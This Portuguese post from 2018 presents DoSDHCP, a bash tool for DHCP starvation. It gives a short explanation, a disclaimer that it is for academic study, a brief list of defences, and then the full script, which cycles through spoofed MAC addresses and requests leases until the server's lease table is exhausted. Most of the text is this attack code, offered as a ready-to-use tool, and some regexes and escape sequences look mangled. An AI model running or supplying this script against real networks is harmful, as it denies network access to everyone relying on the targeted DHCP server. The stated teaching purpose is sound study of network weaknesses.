DoSDHCP, DoS/Overflow em servidor DHCP

Alan Victor Domingo, 21 de Outubro de 2018


DoSDHCP é uma ferramenta desenvolvida em GNU/bash para ataque do serviço dhcp-server, ele envia requisições dhcp-request a um dhcp-server, preenchendo toda a tabela dhcp-leases do server/router e assim fazendo uma negação de serviço, em outras palavras, um simples ataque DoS.

O professor Jadilson Paiva me explicou o funcionamento desse ataque que é pouco explorado, então resolvemos escrever esse script para fins de estudo e para que estudantes de redes/TI vejam o código e tenham ciência desse tipo de vulnerabilidade pouco conhecida!

Gostaria de deixar claro que eu não me responsabilizo por uso impróprio desta ferramenta, pois a mesma foi criada para fins acadêmicos em estudo de redes de computadores!

Como se proteger?

Uso de switchs gerenciáveis

Serviço dhcp-server configurado de forma adequada

Firewall configurado de forma adequada

#!/bin/bash
# DoSDHCP 0.3
# 21/12/2014 ~ 21/10/2018
# Jadilson Paiva
# Alan Victor


help='
	Overflow Attack DHCP servers.
	Script para estourar a tabela dhcp-leases.

	USO:
		doshcp [opcoes] [interface]

		doshcp -i eth0	  Inicia um ataque dhcp leases
		doshcp -h	       Mostra esse help
'
cod="33["
vcl="1;32m"
fin="33[0m"
c="0"
err="0"
null="/dev/null"

case $1 in
	-i)
        clear
        ls /sys/class/net | grep -q "$2" || {
                echo "Interfaces disponíveis:";
                echo -e "$interfaces\n";
                echo "Digite uma Interface válida!";
                exit 1;
        }

		for i in $(echo {A..F}{0..9}{A..F}{0..9}{A..F}{0..9}) ;do
			mac=$(echo $i$i | sed 's/../&:/g;s/:$//')
			c=$((c+1))
			infos=$(ip addr show $2)
			ip=$(echo "$infos" | grep '^s+inets'| sed 's/^s+inets//;s/s+.*//;s//.*//')
			macs=$(echo "$infos" | grep '^s+link/[a-z]{1,}' | sed 's/^s+link/ethers//;s/s+.*//')
			ip link set $2 address $mac 2> $null && dhclient -nw $2 &> $null && {
				echo -ne " RUNNING! ATTACK - MAC: $macs - IP: $ip - NUMBER $c [ ${cod}${vcl}OK${fin} ]n" | sed 's/s+/ /';
			} || {
				echo "Servidor DHCP fora de alcance!";
				err=$(($err + 1))
				[ $err -gt 5 ] && {
					exit 1;
				}
			}
		done
	;;

	-h)     echo "$help" ;;
	*)      echo "Uso: $0 {-i|-h}"
esac